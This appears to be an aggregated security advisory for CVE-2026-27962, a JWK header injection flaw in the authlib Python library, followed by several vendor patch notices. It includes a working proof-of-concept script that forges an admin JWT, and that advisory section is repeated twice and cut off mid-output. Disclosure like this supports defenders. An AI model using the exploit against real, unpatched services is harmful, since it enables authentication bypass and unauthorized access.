CVE-2026-27962

Description

Summary

A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely.

This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.

Details

Vulnerable file: authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature._prepare_algorithm_key()
Lines: 272–273

elif key is None and "jwk" in header:
    key = header["jwk"]   # ← attacker-controlled key used for verification

When key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts that value — which is fully attacker-controlled — and uses it as the verification key.

RFC 7515 violations:

• §4.1.3 explicitly states the jwk header parameter is "NOT RECOMMENDED" because keys embedded by the token submitter cannot be trusted as a verification anchor.
• §5.2 (Validation Algorithm) specifies the verification key MUST come from the application context, not from the token itself. There is no step in the RFC that permits falling back to the jwk header when no application key is provided.

Why this is a library issue, not just a developer mistake:

The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:

def lookup_key(header, payload):
    kid = header.get("kid")
    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated

jws.deserialize_compact(token, lookup_key)

When an attacker submits a token with an unknown kid, the callable legitimately returns None. The library then silently falls through to key = header["jwk"], trusting the attacker's embedded key. The developer never wrote key=None — the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible.

Attack steps:

1. Attacker generates an RSA or EC keypair.
2. Attacker crafts a JWT payload with any desired claims (e.g. {"role": "admin"}).
3. Attacker signs the JWT with their private key.
4. Attacker embeds their public key in the JWT jwk header field.
5. Attacker uses an unknown kid to cause the key resolver to return None.
6. The library uses header["jwk"] for verification — signature passes.
7. Forged claims are returned as authentic.

PoC

Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).

Requirements:

pip install authlib cryptography

Exploit script:

from authlib.jose import JsonWebSignature, RSAKey
import json

jws = JsonWebSignature(["RS256"])

# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)

# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)

# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims)  # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin"  # PASSES

Expected output:

{'sub': 'attacker', 'role':…

Description

Summary

A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely.

This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.

Details

Vulnerable file: authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature._prepare_algorithm_key()
Lines: 272–273

elif key is None and "jwk" in header:
    key = header["jwk"]   # ← attacker-controlled key used for verification

When key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts that value — which is fully attacker-controlled — and uses it as the verification key.

RFC 7515 violations:

• §4.1.3 explicitly states the jwk header parameter is "NOT RECOMMENDED" because keys embedded by the token submitter cannot be trusted as a verification anchor.
• §5.2 (Validation Algorithm) specifies the verification key MUST come from the application context, not from the token itself. There is no step in the RFC that permits falling back to the jwk header when no application key is provided.

Why this is a library issue, not just a developer mistake:

The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:

def lookup_key(header, payload):
    kid = header.get("kid")
    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated

 jws.deserialize_compact(token, lookup_key)

When an attacker submits a token with an unknown kid, the callable legitimately returns None. The library then silently falls through to key = header["jwk"], trusting the attacker's embedded key. The developer never wrote key=None — the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible.

Attack steps:

1. Attacker generates an RSA or EC keypair.
2. Attacker crafts a JWT payload with any desired claims (e.g. {"role": "admin"}).
3. Attacker signs the JWT with their private key.
4. Attacker embeds their public key in the JWT jwk header field.
5. Attacker uses an unknown kid to cause the key resolver to return None.
6. The library uses header["jwk"] for verification — signature passes.
7. Forged claims are returned as authentic.

PoC

Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).

Requirements:

pip install authlib cryptography

Exploit script:

from authlib.jose import JsonWebSignature, RSAKey
 import json

jws = JsonWebSignature(["RS256"])

# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
 attacker_public_jwk = attacker_private.as_dict(is_private=False)

# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)

# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims)  # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin"  # PASSES

Expected output:

{'sub': 'attacker',…

Root has patched CVE-2026-27962 in the Authlib package for Root:PyPI. Multiple fixed versions available.

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This issue has been patched in version 1.6.9.

This update for python-Authlib fixes the following issues:

Changes in python-Authlib:

• CVE-2026-27962: JWS deserialize_compact() allows for signature bypass by accepting user-controlled embedded JWK as verification key (bsc#1259738)
• CVE-2026-28490: cryptographic padding oracle in JWE RSA1_5 key management algorithm (bsc#1259736)
• CVE-2026-28498: fail-open in behavior OIDC hash validation allows for bypass mandatory integrity protections (bsc#1259737)

This update for python-Authlib fixes the following issues:

• CVE-2026-27962: JWS deserialize_compact() allows for signature bypass by accepting user-controlled embedded JWK as verification key (bsc#1259738).
• CVE-2026-28490: cryptographic padding oracle in JWE RSA1_5 key management algorithm (bsc#1259736).
• CVE-2026-28498: fail-open in behavior OIDC hash validation allows for bypass mandatory integrity protections (bsc#1259737).

Jay Neiva and Mauro Carrillo discovered that Authlib did not properly validate cryptographic keys embedded in JWT headers. An attacker could possibly use this issue to forge trusted tokens, resulting in authentication and authorization bypass. (CVE-2026-27962)

Jay Neiva and Mauro Carrillo discovered that Authlib incorrectly handled RSA1_5 encrypted tokens. An attacker could possibly use this issue to recover sensitive encrypted information, resulting in information disclosure. (CVE-2026-28490)

Jay Neiva and Mauro Carrillo discovered that Authlib did not properly reject unsupported cryptographic algorithms when validating OpenID Connect ID tokens. An attacker could possibly use this issue to bypass token integrity checks, resulting in authentication bypass. (CVE-2026-28498)

Johnny Deuss discovered that Authlib did not provide cross-site request forgery protection for the OAuth cache feature in its Starlette integration. An attacker could possibly use this issue to perform unauthorized OAuth actions, resulting in cross-site request forgery. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-41425)